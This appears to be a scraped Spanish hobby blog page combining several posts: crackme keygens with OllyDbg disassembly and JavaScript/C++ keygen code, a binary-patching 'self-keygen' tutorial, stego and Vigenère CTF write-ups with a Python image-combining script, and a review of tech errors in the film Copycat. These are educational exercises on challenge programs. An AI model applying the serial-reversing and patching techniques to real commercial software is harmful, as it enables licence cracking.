Tras desestimar el cifrado César realizamos un ataque de «fuerza bruta» al cifrado Vigenere mediante análisis estadístico. En la imagen que muestro a continuación se puede ver que la clave está cerca de ser «HPHQTC» pero todavía no se lee correctamente.

02-12-2015 10-56-29

Ya que la fuerza bruta de por sí no termina de darnos la respuesta correcta, pasamos a probar algo muy útil, esto es, descifrar por fuerza bruta pero dándole una palabra para comparar. En este caso en concreto vemos que una posible palabra que pudiera estar en el texto encriptado es «PASSWORD», probamos y reto terminado.

02-12-2015 10-57-14

Enlaces

¿El crackme de android más famoso del mundo?

Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar una serie de crackmes. Los dos primeros pasaron algo desapercibidos, pero el Crackme nº3 tuvo una gran repercusión en el mundillo y, aunque no fue el primer crackme para Android ni mucho menos, si que fue uno de los más estudiados. Todos ellos fueron publicados a través de crackmes.de y el nº3 en cuestión el 6 de Noviembre de 2010. Os dejo una lista de unas cuantas webs donde aparece analizado para que veáis la repercusión que a mi parecer tuvo.

Soluciones al crackme

Referencias al crackme

Links


AVISO: Debido a que este reto está en activo no publicaré a donde pertenece. Ya sabéis que los retos stego
Computer Password Security Hacker En el primer vistazo con el editor hexadecimal ya vemos la solución al reto: Pho Al
Intro Aquí tenemos un crackme clásico realizado en Visual C++. La única particularidad que tiene es que no muestra MessageBox
Intro Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para

QR Stego Challenge

AVISO: Debido a que este reto está en activo no publicaré a donde pertenece.

Ya sabéis que los retos stego son muy variopintos. El otro día me encontré con uno que parecía que iba a ser complejo pero en realidad era bastante sencillo.

Tras varias pruebas complejas infructuosas, se me ocurrió descomponer por canales y efectivamente ese era el camino. Para ello yo utilicé la herramienta StegSolve de mi querido Caesum, pero podéis resolverlo incluso online con Pinetools.

Descomposición RGB

5 Retos Stego sencillos

Computer Password Security Hacker

En el primer vistazo con el editor hexadecimal ya vemos la solución al reto:

Pho

Al igual que el caso anterior con el editor hexadecimal tenemos más que suficiente para resolver el reto.

Minions

En el análisis inicial no destaca prácticamente nada excepto la palabra myadmin que podemos ver con un editor hexadecimal.

La palabra myadmin es una buena candidata a ser contraseña ante una decodificación. Probamos con lo estándar y conseguimos resultados con steghide. La decodificación nos devuelve la cadena AEMAVABGAGwAZQBhAHIAbgB7AHQAaABpAHMAXwBpAHMAXwBmAHU***** que rápidamente catalogamos como base64 para resolver el reto.

Unopenable

Se nos entrega una imagen GIF aparentemente corrupta. Estudiando un poco la cabecera de los archivos GIF llegamos rápidamente a la conclusión de que faltan los cuatro primeros bytes del archivo.

Bytes originales
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  39 61 F4 01 F4 01 F4 00 00 00 00 00 3A 00 00 00  9aô.ô.ô.....:...
00000010  00 3A 3A 00 3A 66 00 00 66 00 3A 00 00 66 90 3A  .::.:f..f.:..f.:
00000020  00 90 3A 3A B6 66 00 B6 66 3A 90 90 3A DB 90 3A  ..::¶f.¶f:..:Û.:
00000030  FF B6 66 00 3A 90 66 3A 90 00 66 90 00 66 B6 3A  ÿ¶f.:.f:..f..f¶:

Después de insertar los bytes que faltan
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  47 49 46 38 39 61 F4 01 F4 01 F4 00 00 00 00 00  GIF89aô.ô.ô.....
00000010  3A 00 00 00 00 3A 3A 00 3A 66 00 00 66 00 3A 00  :....::.:f..f.:.
00000020  00 66 90 3A 00 90 3A 3A B6 66 00 B6 66 3A 90 90  .f.:..::¶f.¶f:..
00000030  3A DB 90 3A FF B6 66 00 3A 90 66 3A 90 00 66 90  :Û.:ÿ¶f.:.f:..f.

Una vez insertados los bytes podemos ver una animación que contiene una cadena de texto fácilmente reconocible como base64. La decodificamos y ya tenemos la solución.

Oreo

Mirando con un editor hexadecimal no encontramos nada excepto la frase This is not the flag you are looking for para intentar disuadirnos.

Cargamos la imagen en Aperi’Solve y enseguida nos llama la atención la sección Binwalk y un suculento Rar.

Descargamos el archivo Rar y al descomprimir nos encontramos con un archivo de texto con la misma frase desalentadora del inicio y una imagen JPG, esta vez con dos oreos. Inspeccionando la imagen damos con la solución.

Keygen para el Crackme 1 de VisionZ

Intro

Aquí tenemos un crackme clásico realizado en Visual C++. La única particularidad que tiene es que no muestra MessageBox al introducir bien o mal el serial, simplemente cambia una imagen de un emoticono. Si observamos el comportamiento del crackme notaremos que inicialmente el emoticono está neutral y al fallar se pone triste y por lo tanto es de suponer que al acertar se pondrá contento.

El BreakPoint

Intermodular Calls

Al mirar en las Intermodular Calls de OllyDbg vemos que LoadIconA es un buen candidato para ubicar la comprobación del serial. Si nos fijamos hay tres llamadas, ponemos un breakpoint en las tres y enseguida llegamos a la zona de comprobación del serial.

La comprobación

00401180   . 6A FF          PUSH -1
00401182   . 68 68194000    PUSH CrackMe_.00401968
00401187   . 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040118D   . 50             PUSH EAX
0040118E   . 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401195   . 83EC 0C        SUB ESP,0C
00401198   . 53             PUSH EBX
00401199   . 55             PUSH EBP
0040119A   . 8BE9           MOV EBP,ECX
0040119C   . 56             PUSH ESI
0040119D   . 57             PUSH EDI
0040119E   . 8D4C24 10      LEA ECX,DWORD PTR SS:[ESP+10]
004011A2   . E8 2F050000    CALL <JMP.&MFC42.#540>
004011A7   . 8D4C24 14      LEA ECX,DWORD PTR SS:[ESP+14]
004011AB   . C74424 24 0000>MOV DWORD PTR SS:[ESP+24],0
004011B3   . E8 1E050000    CALL <JMP.&MFC42.#540>
004011B8   . 8D4424 10      LEA EAX,DWORD PTR SS:[ESP+10]
004011BC   . 8BCD           MOV ECX,EBP
004011BE   . 50             PUSH EAX
004011BF   . 68 E9030000    PUSH 3E9
004011C4   . C64424 2C 01   MOV BYTE PTR SS:[ESP+2C],1
004011C9   . E8 02050000    CALL <JMP.&MFC42.#3097>                  ;  Lee el tamano del nombre
004011CE   . 8D4C24 14      LEA ECX,DWORD PTR SS:[ESP+14]
004011D2   . 51             PUSH ECX
004011D3   . 68 EA030000    PUSH 3EA
004011D8   . 8BCD           MOV ECX,EBP
004011DA   . E8 F1040000    CALL <JMP.&MFC42.#3097>                  ;  Lee el tamano del serial
004011DF   . 51             PUSH ECX
004011E0   . 8D5424 14      LEA EDX,DWORD PTR SS:[ESP+14]
004011E4   . 8BCC           MOV ECX,ESP
004011E6   . 896424 1C      MOV DWORD PTR SS:[ESP+1C],ESP
004011EA   . 52             PUSH EDX
004011EB   . E8 DA040000    CALL <JMP.&MFC42.#535>
004011F0   . 8D4424 1C      LEA EAX,DWORD PTR SS:[ESP+1C]   
004011F4   . 8BCD           MOV ECX,EBP       
004011F6   . 50             PUSH EAX                 
004011F7   . E8 D4010000    CALL CrackMe_.004013D0 
004011FC   . 50             PUSH EAX
004011FD   . 8D4C24 14      LEA ECX,DWORD PTR SS:[ESP+14]
00401201   . C64424 28 02   MOV BYTE PTR SS:[ESP+28],2
00401206   . E8 B9040000    CALL <JMP.&MFC42.#858>
0040120B   . 8D4C24 18      LEA ECX,DWORD PTR SS:[ESP+18]
0040120F   . C64424 24 01   MOV BYTE PTR SS:[ESP+24],1
00401214   . E8 A5040000    CALL <JMP.&MFC42.#800>
00401219   . 8B4C24 10      MOV ECX,DWORD PTR SS:[ESP+10]
0040121D   . 8B5424 14      MOV EDX,DWORD PTR SS:[ESP+14]
00401221   . 8B41 F8        MOV EAX,DWORD PTR DS:[ECX-8]
00401224   . 8B4A F8        MOV ECX,DWORD PTR DS:[EDX-8]
00401227   . 3BC1           CMP EAX,ECX                              ;  CMP len nombre y len serial
00401229   . 0F85 2C010000  JNZ CrackMe_.0040135B
0040122F   . 83F8 03        CMP EAX,3                                ;  len nombre >=3
00401232   . 0F8C 23010000  JL CrackMe_.0040135B
00401238   . 50             PUSH EAX
00401239   . E8 7A040000    CALL <JMP.&MFC42.#823>
0040123E   . 8BF0           MOV ESI,EAX
00401240   . 8B4424 14      MOV EAX,DWORD PTR SS:[ESP+14]
00401244   . 83C4 04        ADD ESP,4
00401247   . 33C9           XOR ECX,ECX
00401249   . 8B50 F8        MOV EDX,DWORD PTR DS:[EAX-8]
0040124C   . 4A             DEC EDX
0040124D   . 85D2           TEST EDX,EDX
0040124F   . 7E 37          JLE SHORT CrackMe_.00401288
.......
1ºBUCLE
.......
00401251   > 8A1401         MOV DL,BYTE PTR DS:[ECX+EAX]
00401254   . 8A5C01 01      MOV BL,BYTE PTR DS:[ECX+EAX+1]
00401258   . 8B4424 14      MOV EAX,DWORD PTR SS:[ESP+14]
0040125C   . 0FBED2         MOVSX EDX,DL
0040125F   . 0FBE0401       MOVSX EAX,BYTE PTR DS:[ECX+EAX]
00401263   . 8D4410 FE      LEA EAX,DWORD PTR DS:[EAX+EDX-2]
00401267   . 99             CDQ
00401268   . 2BC2           SUB EAX,EDX
0040126A   . 0FBED3         MOVSX EDX,BL
0040126D   . D1F8           SAR EAX,1
0040126F   . 40             INC EAX
00401270   . 83EA 02        SUB EDX,2
00401273   . 3BC2           CMP EAX,EDX
00401275   . 0F94C0         SETE AL
00401278   . 880431         MOV BYTE PTR DS:[ECX+ESI],AL
0040127B   . 8B4424 10      MOV EAX,DWORD PTR SS:[ESP+10]
0040127F   . 41             INC ECX
00401280   . 8B50 F8        MOV EDX,DWORD PTR DS:[EAX-8]
00401283   . 4A             DEC EDX
00401284   . 3BCA           CMP ECX,EDX
00401286   .^7C C9          JL SHORT CrackMe_.00401251
........
Última comprobación
........
00401288   > 0FBE1401       MOVSX EDX,BYTE PTR DS:[ECX+EAX]
0040128C   . 0FBE78 01      MOVSX EDI,BYTE PTR DS:[EAX+1]
00401290   . 8B4424 14      MOV EAX,DWORD PTR SS:[ESP+14]
00401294   . 83C7 FE        ADD EDI,-2
00401297   . 0FBE0401       MOVSX EAX,BYTE PTR DS:[ECX+EAX]
0040129B   . 8D4410 FE      LEA EAX,DWORD PTR DS:[EAX+EDX-2]
0040129F   . 99             CDQ
004012A0   . 2BC2           SUB EAX,EDX
004012A2   . D1F8           SAR EAX,1
004012A4   . 40             INC EAX
004012A5   . 3BC7           CMP EAX,EDI
004012A7   . 0F94C2         SETE DL
004012AA   . 881431         MOV BYTE PTR DS:[ECX+ESI],DL

La comprobación es muy sencilla, en resumen hace esto con todas las letras del nombre excepto la última:

1º Caracter
(1ºname + 1ºserial - 2 = X)
(X / 2)
(X + 1)
(2ºname - 2 = Y)
¿Y = X?
2º Caracter
(2ºname + 2ºserial - 2 = X)
(X / 2)
(X + 1)
(3ºname - 2 = Y)
¿Y = X?
...
Con el último caracter del nombre hace lo siguiente:
(6ºname + 6ºserial - 2 = X)
(X / 2)
(X + 1)
(2ºname - 2 = Y)
¿Y = X?
---------
Para revertir la primera parte de la comprobación para el nombre deurus quedaría:
X1 = (((2ºname-2-1)*2)+2)-1ºname
X2 = (((3ºname-2-1)*2)+2)-2ºname
X3 = (((4ºname-2-1)*2)+2)-3ºname
X4 = (((5ºname-2-1)*2)+2)-4ºname
X5 = (((6ºname-2-1)*2)+2)-5ºname
X6 = (((2ºname-2-1)*2)+2)-6ºname

Keygen

var nombre = "deurus";
nombre = nombre.toUpperCase();
var serial = "";
var tmp = "";

var i;
for (i = 0; i < nombre.length-1 ; i++) {
  tmp = ((nombre.charCodeAt(i+1)-2-1)*2+2)-nombre.charCodeAt(i);
  serial += String.fromCharCode(tmp);
}

tmp = ((nombre.charCodeAt(1)-2-1)*2+2)-nombre.charCodeAt(nombre.length-1);
serial += String.fromCharCode(tmp);

document.write(serial);

Enlaces

Y eso es todo, ¡a disfrutar!

LaFarge’s Crackme 2 – Keygen por Injerto

Intro

Hoy vamos a hacer algo diferente, vamos a hacer un keygen con la propia víctima. El término anglosajón para esto es «selfkeygening» y no es que esté muy bien visto por los reversers pero a veces nos puede sacar de apuros.

La víctima elegida es el Crackme 2 de LaFarge. Está hecho en ensamblador.

Injerto Light

Primeramente vamos a realizar un injerto light, con esto quiero decir que vamos a mostrar el serial bueno en la MessageBox de error.

Abrimos Olly y localizamos el código de comprobación del serial, tenemos suerte ya que el serial se muestra completamente y no se comprueba byte a byte ni cosas raras. En la imagen inferior os muestro el serial bueno para el nombre deurus y el mensaje de error. Como podeis observar el serial bueno se saca de memoria con la instrucción PUSH 406749 y el mensaje de error con PUSH 406306.

parche01

Si cambiamos el PUSH del serial por el de el mensaje de error ya lo tendriámos. Nos situamos encima del PUSH 406306 y pulsamos espacio, nos saldrá un diálogo con el push, lo modificamos y le damos a Assemble.

10-09-2014 20-37-18

Ahora el crackme cada vez que le demos a Check it! nos mostrará:

nagserial

Keygen a partir de la víctima

Pero no nos vamos a quedar ahí. Lo interesante sería que el serial bueno lo mostrara en la caja de texto del serial. Esto lo vamos a hacer con la función user32.SetDlgItemTextA.

setdlgitemtext

Según dice la función necesitamos el handle de la ventana, el ID de la caja de texto y el string a mostrar. La primera y segunda la obtenemos fijándonos en la función GetDlgItemTextA que recoje el serial introducido por nosotros. La string es el PUSH 406749.

handleandid

Con esto ya tenemos todo lo que necesitamos excepto el espacio dentro del código, en este caso lo lógico es parchear las MessageBox de error y acierto. Las seleccionamos, click derecho y Edit > Fill with NOPs.

10-09-2014 20-39-24

nopeamos

Ahora escribimos el injerto.

injertokeygen

Finalmente con Resource Hack cambiamos el aspecto del programa para que quede más profesional y listo. Tenemos pendiente hacer el keygen puro y duro, venga agur.

10-09-2014 21-04-52

Links


Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar
Intro Hoy tenemos un crackme realizado en ensamblador y sin empacar. Consiste en el típico serial asociado a un nombre
http://youtu.be/KR3PgtDMjmg Lista de reproducción
Intro Es un crackme realizado en ensamblador y en el que el objetivo es remover la NAG de la forma

Blooper Tech Movie XIII – Copycat

Hoy analizamos Copycat, un thriller psicológico de 1995 que, como muchas películas de la época, no pudo resistirse a incorporar elementos tecnológicos que, vistos desde una perspectiva actual, nos sacan una sonrisa. Vamos a desmontar algunos gazapos tecnológicos y curiosidades relacionadas con los sistemas informáticos que aparecen en la película.

El escritorio de tres pantallas: ¿el futuro en 1995?

La protagonista, la Dra. Helen Hudson (Sigourney Weaver), trabaja en un escritorio con tres pantallas, algo futurista para la época. En 1995, esto no era tan común como hoy en día. Para lograrlo, probablemente necesitaría tres ordenadores conectados de forma independiente, ya que los sistemas operativos y hardware de la época no solían soportar múltiples monitores en una sola máquina. Esto plantea preguntas interesantes sobre la logística de su set-up: ¿Cómo sincronizaba su trabajo entre tres PCs?

Un detalle curioso es que, en algunas tomas, se distingue la marca Compaq en los equipos. Compaq era una de las compañías líderes en la fabricación de ordenadores personales durante los 90 y conocida por sus soluciones de alta calidad. Este dato refuerza la idea de que el set-up de Helen estaba diseñado para representar lo último en tecnología de la época, aunque hoy resulte un tanto rudimentario. La elección de Compaq no es casual: en ese momento, era sinónimo de equipos potentes, usados tanto en oficinas como en entornos domésticos avanzados.

Internet y la magia de los módems

En una escena, Helen navega por internet con lo que suponemos es un módem de 28.8 kbps (o como mucho, un flamante 33.6 kbps, tecnología de vanguardia allá por 1995). Hasta ahí, vale. Sin embargo, la fluidez de su conexión sorprende: carga archivos, recibe correos y no se queda esperando con una pantalla de “Conectando…”. Pero lo mejor llega cuando, estando conectada, ¡suena el teléfono! En la realidad, esto cortaría la conexión o comunicaría, a menos que tuviera dos líneas telefónicas (algo raro en domicilios particulares de la época) o algún dispositivo milagroso que no conocemos.

¿Qué sistema operativo usa?

Aunque no se distingue claramente el sistema operativo, vemos una interfaz gráfica con ventanas y una consola de comandos. Esto podría ser un guiño a Windows 3.1 o Windows 3.11, ya maduro en esa época aunque la interfaz no termina de encajar. Sin embargo, también podría ser una mezcla ficticia para hacer que el entorno luciera “tecnológico” sin comprometerse demasiado con la realidad. Detalle curioso: en los 90, las películas solían personalizar las interfaces para no tener problemas legales.

El email como el epicentro de la tecnología

En los 90, el email era el rey. En las películas, los escritorios siempre tenían un gran icono de correo (a menudo animado, porque lo cool siempre parpadeaba). En Copycat, Helen recibe un correo con un archivo AVI de unos 30 segundos, lo cual plantea otra duda técnica: ¿Cuánto espacio ocupaba ese archivo en 1995?

Un AVI de 30 segundos probablemente tendría una resolución baja (320×240 píxeles o menos) y una tasa de compresión eficiente para la época, pero aun así podría pesar entre 2 y 5 MB, dependiendo de la calidad del audio y vídeo. Eso hubiera supuesto una odisea por email, ya que los servidores de la época limitaban los adjuntos a unos pocos cientos de KB. ¿Quizás el villano usó un protocolo privado para saltarse las restricciones?

Tomorrow.AVI

Tras recibir un inquietante archivo AVI, la protagonista llama a la policía, lo que desencadena una conversación cargada de decisiones tecnológicas cuestionables:

  • «¿Cómo le han enviado esto?» / «Consiguiendo su dirección de internet»: El archivo es descrito como enviado a través de «su dirección de internet», un término extraño para la época en la que lo habitual habría sido referirse al correo electrónico. Esto refleja un intento de sonar sofisticado sin usar los términos correctos.
  • «¿No podríamos localizarlo?»: La respuesta de los policías es que no pueden rastrear el origen del archivo «a no ser que esté conectado». Sin embargo, incluso en 1995, las cabeceras de los emails contenían suficiente información para rastrear el servidor de origen, aunque la práctica era más rudimentaria que en la actualidad. Ignorar esto parece una licencia creativa del guion o un concepto equivocado de localizar asociándolo quizá a las llamadas telefónicas.
  • «Es demasiado grande para pasarlo a disco»: Aquí surge el principal obstáculo: el archivo AVI es considerado «demasiado grande» para transferirlo a un disquete de 3,5 pulgadas (con una capacidad máxima de 1,44 MB). Aunque esto tiene sentido desde una perspectiva técnica, resulta extraño que fuera posible enviarlo por email en primer lugar, dado que los servidores de correo de la época tenían limitaciones más estrictas que un disquete. Esto sugiere una inconsistencia en la lógica tecnológica de la escena.
  • «Lo pasaremos a vídeo»: Ante la imposibilidad de transferirlo a un disquete, la solución propuesta es convertir el archivo a un formato reproducible en un dispositivo analógico (probablemente una cinta VHS) para transportarlo físicamente. Aunque esta decisión es plausible dentro de las limitaciones tecnológicas de la época, omite soluciones más digitales, como volver a enviarlo por email (¿acaso la policía no tenía correo electrónico?). Además, surge la pregunta de por qué no se recurre a los forenses técnicos de la policía (o del FBI) para analizar el disco duro, quienes, curiosamente, no aparecen en ningún momento de la película.
  • «Oh, Dios. ¿Cómo sabes todas estas cosas?» / «Malgasté mi juventud en los salones de videojuegos»: Esta frase añade un toque humorístico, pero no tiene relación alguna con las habilidades necesarias para resolver el problema en cuestión. Más bien, refuerza la desconexión entre los diálogos y las acciones tecnológicas presentadas.

Conclusión

Copycat (1995) es un buen ejemplo de cómo el cine de los 90 abordaba la tecnología con una mezcla de admiración y confusión. Desde la exageración de tener tres monitores en el escritorio de Helen hasta la torpe gestión del archivo Tomorrow.AVI, la película refleja tanto las limitaciones tecnológicas de la época como las libertades creativas de los guionistas.

En el caso del archivo AVI, los personajes deciden que no se puede gestionar digitalmente y optan por convertirlo a vídeo analógico, ignorando soluciones más simples como volver a enviarlo por correo electrónico (suponiendo que fuera posible). Este detalle, combinado con la ausencia aparente de personal técnico en la policía, subraya una desconexión entre la narrativa y las capacidades reales de la tecnología, incluso para 1995.

Aunque estos detalles pueden parecer cómicos 30 años después, forman parte del encanto de un cine que imaginaba el futuro sin comprender del todo su presente. Más que errores, son un recordatorio de cómo la tecnología ha evolucionado y de cómo nuestra percepción de ella también lo ha hecho.

Enlaces

  • Copycat [IMDb]
  • Historia de Internet [Wikipedia]
  • Correo electrónico [Wikipedia]
  • Compaq [Wikipedia]
  • Silicon Cowboys: la historia de cómo Compaq retó (y venció) a IBM y Apple [Xataka]
  • Formato de vídeo AVI [Wikipedia]
  • Analysis of video file formats in forensics (.avi example) [DiViLine]

Galería

Keygen para el Crackme#1 de DiS

Intro

Hoy tenemos un crackme realizado en ensamblador y sin empacar. Consiste en el típico serial asociado a un nombre sin mucha complicación excepto en lo que a la utilización de memoria se refiere. Como veremos más adelante si no tenemos cuidado se solapan en memoria el nombre y el serial y como siempre evitaremos eso.

El algoritmo

Abrimos el crackme con Olly y buscamos las string references, pinchamos sobre cualquiera y encima encontramos el código que no interesa.

stringref

Subimos hasta las funciones que recojen el nombre y serial (GetDlgItemTexA) y nos fijamos que guarda el nombre a partir de la dirección de memoria 403014 y el serial a partir de 40301A. Además el nombre debe tener por lo menos tres caracteres.

getdlgitemaymemoria

compserial

El algoritmo consiste en lo siguiente, recorre el nombre y comprueba si el dígito se corresponde con 5A(Z), 7A(z) y 39(9). Si coincide los deja como está y si no les suma 1 al valor ascii. A continuación concatena después de cada conversión de dígito el caracter 61(a) aumentándole en 1 para cada nuevo dígito del nombre.

Ejemplo:

Nombre: ZZZZZ
Serial: ZaZbZcZdZe

Nombre: zzzzz
Serial: zazbzczdze

Nombre: 99999
Serial: 9a9b9c9d9e

Como veréis a continuación, para el nombre «deuru» el serial correcto sería «eafbvcsdve«. Simplemente a los caracteres del nombre les suma 1, d es e, e es f, u es v, etc, y los concatena con digito+a+digito+b+digito+c…

Nombre: deuru
Serial: eafbvcsdve

Bucle se repite tantos veces como dígitos tenga el nombre

d  e  u  r  u
64 65 75 72 75

e  a  f  b  v  c  s  d  v  e
65 61 66 62 76 63 73 64 76 65

DUMP
----
00403010  00 00 00 00 64 65 75 72 75 00 65 61 66 62 76 63  ....deuru.eafbvc
00403020  73 64 76 65 00 05 00 00 00 00 00 00 00 00 00 00  sdve...........

 La asignación de memoria

El problema viene cuando elegimos un nombre >5 caracteres, ya que, éste se solapa con la memoria del serial (recordemos 40301A y siguientes) haciendo que sea una chapuza. En la siguiente imagen queda claro. No se si es un error o es intencionado, pero nos conviene no utilizar nombres mayores de 5 dígitos para que nuestro keygen sea lo más limpio posible.

ejemplodump2

El KeyGen

Está realizado en C++ y como véis el nombre debe tener entre 3 y 5 dígitos para que todo vaya bien.

char Nombre[10];
GetWindowText(hwndEdit1, Nombre, 10);
SetWindowText(hwndEdit2, "");
string serial = "";
int len = strlen(Nombre);
char consecutivo[5] = {'a','b','c','d','e'};
if (len <=5 && len >=3){
    for(int i = 0; i <= len; i++)
    {
         if (Nombre[i] == 0x5A || Nombre[i] == 0x7A || Nombre[i] == 0x39)
         {
             serial+=Nombre[i];
             serial+=consecutivo[i];
         }else{
             serial+=Nombre[i]+1;
             serial+=consecutivo[i];
         }
     }
     serial = serial.substr(0, len*2);
     LPCTSTR Sfinal = serial.c_str();
     SetWindowText(hwndEdit2, Sfinal);
}else{
MessageBox(NULL,"Nombre demasiado largo/corto","Info",MB_OK | MB_ICONINFORMATION);
}

 Links


El reto consiste en dos imágenes (v1.png y v2.png) que, a simple vista, parecen contener ruido aleatorio. Sin embargo, ambas
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar
Si te interesa el mundo del hacking, ya sea como aficionado o como profesional, seguramente querrás estar al día de
Warning: This challenge is still active and therefore should not be resolved using this information.  Aviso: Este reto sigue en

Reto Stego – Dos por Uno

El reto consiste en dos imágenes (v1.png y v2.png) que, a simple vista, parecen contener ruido aleatorio. Sin embargo, ambas forman parte de un sistema de criptografía visual en la que cada imagen contiene información parcial que no es interpretable por separado, pero que al combinarse correctamente revelan información oculta.

La trampa está en que la combinación no se hace con operaciones normales como suma, resta o multiplicación. El autor del reto espera que el jugador use una herramienta como StegSolve y pruebe distintas operaciones tipo XOR, AND o MUL hasta encontrar una transformación en la que uno de los métodos muestre algo significativo. El truco está en llegar a la conclusión de que una de las imágenes hay que invertirla antes de combinar ambas imágenes. Todo esto se puede hacer con StegSolve sin necesidad de utilizar ninguna herramienta adicional, pero voy a aprovechar para hacerlo con python y así de paso entendemos como realiza las operaciones StegSolve. En resumen, para resolver el reto basta con:

  1. Invertir (Colour Inversion XOR) una de las imágenes.
  2. Combinar ambas imágenes mediante Analyse > Combine images.
  3. Operación MUL del combinador.

La operación MUL no es una multiplicación normalizada, sino una multiplicación de enteros de 24 bits (0xRRGGBB) con overflow, algo que la mayoría de herramientas no replican correctamente.

¿Por qué aparece la solución con esa combinación

Las imágenes están preparadas para que ciertos bits de color en una imagen sean el complemento de los de la otra. Por tanto:

  • Si se muestran tal cual → parecen ruido
  • Si se combinan mediante XOR → parte de la estructura aparece, pero no se ve el resultado correcto
  • Si se combinan mediante MUL «normal» → tampoco aparece
  • Si se aplica la multiplicación bitwise exacta usada por StegSolve → se alinean las partes ocultas

La operación MUL de StegSolve no es una multiplicación de píxeles, es decir, no hace:

R = (R1 * R2) / 255

sino:

c1 = 0xRRGGBB  (pixel 1)
c2 = 0xRRGGBB  (pixel 2)
resultado = (c1 * c2) & 0xFFFFFF

Con todo esto claro, he preparado un script para combinar las imágenes de forma automática.

import os
import numpy as np
from PIL import Image

# =========================================================
# UTILIDADES
# =========================================================

def ensure_output():
    if not os.path.exists("output"):
        os.makedirs("output")

def load_rgb(path):
    img = Image.open(path).convert("RGB")
    return np.array(img, dtype=np.uint32)

def save_rgb(arr, name):
    Image.fromarray(arr.astype(np.uint8), "RGB").save(os.path.join("output", name))

def invert_xor(arr):
    """Colour Inversion (Xor) de StegSolve."""
    out = arr.copy()
    out[..., :3] = 255 - out[..., :3]
    return out

# =========================================================
# FUNCIONES DE COMBINER EXACTAS DE STEGSOLVE
# =========================================================

def to24(arr):
    """Convierte RGB → entero 0xRRGGBB."""
    return ((arr[..., 0] << 16) |
            (arr[..., 1] << 8)  |
             arr[..., 2])

def from24(c):
    """Convierte entero 0xRRGGBB → RGB."""
    R = (c >> 16) & 0xFF
    G = (c >> 8)  & 0xFF
    B = c & 0xFF
    return np.stack([R, G, B], axis=-1).astype(np.uint8)

# ------------------------------
# Funciones auxiliares
# ------------------------------

def comb_xor(c1, c2):
    return from24((c1 ^ c2) & 0xFFFFFF)

def comb_or(c1, c2):
    return from24((c1 | c2) & 0xFFFFFF)

def comb_and(c1, c2):
    return from24((c1 & c2) & 0xFFFFFF)

def comb_add(c1, c2):
    return from24((c1 + c2) & 0xFFFFFF)

def comb_add_sep(c1, c2):
    R = (((c1 >> 16) & 0xFF) + ((c2 >> 16) & 0xFF)) & 0xFF
    G = (((c1 >> 8)  & 0xFF) + ((c2 >> 8)  & 0xFF)) & 0xFF
    B = ((c1 & 0xFF) + (c2 & 0xFF)) & 0xFF
    return from24((R << 16) | (G << 8) | B)

def comb_sub(c1, c2):
    return from24((c1 - c2) & 0xFFFFFF)

def comb_sub_sep(c1, c2):
    R = (((c1 >> 16) & 0xFF) - ((c2 >> 16) & 0xFF)) & 0xFF
    G = (((c1 >> 8)  & 0xFF) - ((c2 >> 8)  & 0xFF)) & 0xFF
    B = ((c1 & 0xFF) - (c2 & 0xFF)) & 0xFF
    return from24((R << 16) | (G << 8) | B)

def comb_mul(c1, c2):
    """MUL EXACTO StegSolve"""
    return from24((c1 * c2) & 0xFFFFFF)

def comb_mul_sep(c1, c2):
    R = (((c1 >> 16) & 0xFF) * ((c2 >> 16) & 0xFF)) & 0xFF
    G = (((c1 >> 8)  & 0xFF) * ((c2 >> 8)  & 0xFF)) & 0xFF
    B = ((c1 & 0xFF) * (c2 & 0xFF)) & 0xFF
    return from24((R << 16) | (G << 8) | B)

def comb_lightest(c1, c2):
    """Máximo por canal"""
    R = np.maximum((c1 >> 16) & 0xFF, (c2 >> 16) & 0xFF)
    G = np.maximum((c1 >> 8)  & 0xFF, (c2 >> 8)  & 0xFF)
    B = np.maximum(c1 & 0xFF, c2 & 0xFF)
    return from24((R << 16) | (G << 8) | B)

def comb_darkest(c1, c2):
    """Mínimo por canal"""
    R = np.minimum((c1 >> 16) & 0xFF, (c2 >> 16) & 0xFF)
    G = np.minimum((c1 >> 8)  & 0xFF, (c2 >> 8)  & 0xFF)
    B = np.minimum(c1 & 0xFF, c2 & 0xFF)
    return from24((R << 16) | (G << 8) | B)

# Lista de transformaciones
TRANSFORMS = {
    "xor": comb_xor,
    "or": comb_or,
    "and": comb_and,
    "add": comb_add,
    "add_sep": comb_add_sep,
    "sub": comb_sub,
    "sub_sep": comb_sub_sep,
    "mul": comb_mul,
    "mul_sep": comb_mul_sep,
    "lightest": comb_lightest,
    "darkest": comb_darkest,
}

# =========================================================
# GENERACIÓN DE TODAS LAS COMBINACIONES
# =========================================================

def generate_all(imA, imB, labelA, labelB):
    print(f"Generando combinaciones: {labelA} vs {labelB}")

    c1 = to24(imA)
    c2 = to24(imB)

    for name, fun in TRANSFORMS.items():
        out = fun(c1, c2)
        save_rgb(out, f"{labelA}__{labelB}__{name}.png")

    print(f"{labelA}-{labelB} completado.")

# =========================================================
# MAIN
# =========================================================

ensure_output()

print("Cargando imágenes v1.png y v2.png...")
im1 = load_rgb("v1.png")
im2 = load_rgb("v2.png")

print("Generando invertidas estilo StegSolve...")
im1_x = invert_xor(im1)
im2_x = invert_xor(im2)

save_rgb(im1_x, "v1_xored.png")
save_rgb(im2_x, "v2_xored.png")

# Generar las 52 combinaciones:
generate_all(im1,   im2,   "v1",   "v2")
generate_all(im1_x, im2,   "v1x",  "v2")
generate_all(im1,   im2_x, "v1",   "v2x")
generate_all(im1_x, im2_x, "v1x",  "v2x")

print("\nResultados en carpeta ./output/")

A continuación os muestro parte de las imágenes generadas por el script. El secreto oculto era un código QR que nos da la solución al reto.

¿El crackme de android más famoso del mundo?

